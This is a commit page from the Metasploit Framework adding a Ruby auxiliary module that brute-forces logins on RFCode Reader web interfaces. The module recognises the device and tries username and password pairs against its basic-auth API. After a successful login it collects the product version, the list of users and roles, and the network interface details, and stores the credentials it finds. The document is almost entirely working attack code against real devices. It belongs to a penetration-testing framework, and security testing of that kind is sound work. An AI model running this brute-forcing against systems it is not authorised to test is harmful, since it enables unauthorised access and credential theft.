Skip to content

Commit 7a11077

Browse files
author
jvazquez-r7
committed
Land rapid7#1923, @juushya's module for rfcode brute forcing
2 parents 0d384d2 + 456cb3b commit 7a11077

File tree

1 file changed

+248
-0
lines changed

1 file changed

+248
-0
lines changed
Lines changed: 248 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,248 @@
1+
##
2+
# This file is part of the Metasploit Framework and may be subject to
3+
# redistribution and commercial restrictions. Please see the Metasploit
4+
# web site for more information on licensing and terms of use.
5+
# http://metasploit.com/
6+
##
7+
8+
require 'msf/core'
9+
10+
class Metasploit3 < Msf::Auxiliary
11+
12+
include Msf::Exploit::Remote::HttpClient
13+
include Msf::Auxiliary::Report
14+
include Msf::Auxiliary::AuthBrute
15+
include Msf::Auxiliary::Scanner
16+
17+
def initialize(info={})
18+
super(update_info(info,
19+
'Name' => 'RFCode Reader Web Interface Login Utility',
20+
'Description' => %{
21+
This module simply attempts to login to a RFCode Reader web interface.
22+
Please note that by default there is no authentication. In such a case, password brute force will not be performed.
23+
If there is authentication configured, the module will attempt to find valid login credentials and capture device information.
24+
},
25+
'Author' =>
26+
[
27+
'Karn Ganeshen <KarnGaneshen[at]gmail.com>'
28+
],
29+
'License' => MSF_LICENSE
30+
31+
))
32+
33+
register_options(
34+
[
35+
OptBool.new('STOP_ON_SUCCESS', [ true, "Stop guessing when a credential works for a host", true])
36+
], self.class)
37+
38+
end
39+
40+
#
41+
# Info-Only
42+
# Identify logged in user: /rfcode_reader/api/whoami.json
43+
# Capture list of users: /rfcode_reader/api/userlist.json
44+
# Interface configuration: /rfcode_reader/api/interfacestatus.json
45+
# Device platform details: /rfcode_reader/api/version.json
46+
#
47+
48+
def run_host(ip)
49+
unless is_app_rfreader?
50+
print_error("#{rhost}:#{rport} - Application does not appear to be RFCode Reader. Module will not continue.")
51+
return
52+
end
53+
54+
print_status("#{rhost}:#{rport} - Checking if authentication is required...")
55+
unless is_auth_required?
56+
print_warning("#{rhost}:#{rport} - Application does not require authentication.")
57+
user = ''
58+
pass = ''
59+
60+
# Collect device platform & configuration info
61+
collect_info(user, pass)
62+
return
63+
end
64+
65+
print_status("#{rhost}:#{rport} - Brute-forcing...")
66+
each_user_pass do |user, pass|
67+
do_login(user, pass)
68+
end
69+
end
70+
71+
#
72+
# What's the point of running this module if the app actually isn't RFCode Reader?
73+
#
74+
def is_app_rfreader?
75+
res = send_request_cgi(
76+
{
77+
'uri' => '/rfcode_reader/api/whoami.json',
78+
'vars_get' =>
79+
{
80+
'_dc' => '1369680704481'
81+
}
82+
})
83+
return (res and res.code != 404)
84+
end
85+
86+
#
87+
# The default install of RFCode Reader app does not require authentication. Instead, it'll log the
88+
# user right in. If that's the case, no point to brute-force, either.
89+
#
90+
def is_auth_required?
91+
user = ''
92+
pass = ''
93+
94+
res = send_request_cgi(
95+
{
96+
'uri' => '/rfcode_reader/api/whoami.json',
97+
'method' => 'GET',
98+
'authorization' => basic_auth(user,pass),
99+
'vars_get' =>
100+
{
101+
'_dc' => '1369680704481'
102+
}
103+
})
104+
105+
return (res and res.body =~ /{ }/) ? false : true
106+
end
107+
108+
#
109+
# Brute-force the login page
110+
#
111+
def do_login(user, pass)
112+
113+
vprint_status("#{rhost}:#{rport} - Trying username:#{user.inspect} with password:#{pass.inspect}")
114+
begin
115+
res = send_request_cgi(
116+
{
117+
'uri' => '/rfcode_reader/api/whoami.json',
118+
'method' => 'GET',
119+
'authorization' => basic_auth(user,pass),
120+
'vars_get' =>
121+
{
122+
'_dc' => '1369680704481'
123+
}
124+
})
125+
126+
if not res or res.code == 401
127+
vprint_error("#{rhost}:#{rport} - FAILED LOGIN - #{user.inspect}:#{pass.inspect} with code #{res.code}")
128+
else
129+
print_good("#{rhost}:#{rport} - SUCCESSFUL LOGIN - #{user.inspect}:#{pass.inspect}")
130+
131+
collect_info(user, pass)
132+
133+
report_hash = {
134+
:host => rhost,
135+
:port => rport,
136+
:sname => 'RFCode Reader',
137+
:user => user,
138+
:pass => pass,
139+
:active => true,
140+
:type => 'password'}
141+
142+
report_auth_info(report_hash)
143+
return :next_user
144+
end
145+
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError, ::Errno::EPIPE
146+
print_error("#{rhost}:#{rport} - HTTP Connection Failed, Aborting")
147+
return :abort
148+
end
149+
end
150+
151+
#
152+
# Collect target info
153+
#
154+
def collect_info(user, pass)
155+
156+
vprint_status("#{rhost}:#{rport} - Collecting information from app as #{user.inspect}:#{pass.inspect}...")
157+
begin
158+
159+
res = send_request_cgi(
160+
{
161+
'uri' => '/rfcode_reader/api/version.json',
162+
'method' => 'GET',
163+
'authorization' => basic_auth(user,pass),
164+
'vars_get' =>
165+
{
166+
'_dc' => '1370460180056'
167+
}
168+
})
169+
170+
if res and res.body
171+
release_ver = JSON.parse(res.body)["release"]
172+
product_name = JSON.parse(res.body)["product"]
173+
174+
vprint_status("#{rhost}:#{rport} - Collecting device platform info...")
175+
vprint_good("#{rhost}:#{rport} - Release version: '#{release_ver}', Product Name: '#{product_name}'")
176+
177+
report_note(
178+
:host => rhost,
179+
:proto => 'tcp',
180+
:port => rport,
181+
:sname => "RFCode Reader",
182+
:data => "Release Version: #{release_ver}, Product: #{product_name}",
183+
:type => 'Info'
184+
)
185+
end
186+
187+
res = send_request_cgi(
188+
{
189+
'uri' => '/rfcode_reader/api/userlist.json',
190+
'method' => 'GET',
191+
'authorization' => basic_auth(user,pass),
192+
'vars_get' =>
193+
{
194+
'_dc' => '1370353972710'
195+
}
196+
})
197+
198+
if res and res.body
199+
userlist = JSON.parse(res.body)
200+
vprint_status("#{rhost}:#{rport} - Collecting user list...")
201+
vprint_good("#{rhost}:#{rport} - User list & role: #{userlist}")
202+
203+
report_note(
204+
:host => rhost,
205+
:proto => 'tcp',
206+
:port => rport,
207+
:sname => "RFCode Reader",
208+
:data => "User List & Roles: #{userlist}",
209+
:type => 'Info'
210+
)
211+
end
212+
213+
res = send_request_cgi(
214+
{
215+
'uri' => '/rfcode_reader/api/interfacestatus.json',
216+
'method' => 'GET',
217+
'authorization' => basic_auth(user,pass),
218+
'vars_get' =>
219+
{
220+
'_dc' => '1369678668067'
221+
}
222+
})
223+
224+
if res and res.body
225+
eth0_info = JSON.parse(res.body)["eth0"]
226+
vprint_status("#{rhost}:#{rport} - Collecting interface info...")
227+
vprint_good("#{rhost}:#{rport} - Interface eth0 info: #{eth0_info}")
228+
229+
report_note(
230+
:host => rhost,
231+
:proto => 'tcp',
232+
:port => rport,
233+
:sname => "RFCode Reader",
234+
:data => "Interface eth0: #{eth0_info}",
235+
:type => 'Info'
236+
)
237+
end
238+
239+
return
240+
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError, ::Errno::EPIPE
241+
vprint_error("#{rhost}:#{rport} - HTTP Connection Failed while collecting info")
242+
return
243+
rescue JSON::ParserError
244+
vprint_error("#{rhost}:#{rport} - Unable to parse JSON response while collecting info")
245+
return
246+
end
247+
end
248+
end

0 commit comments

Comments
 (0)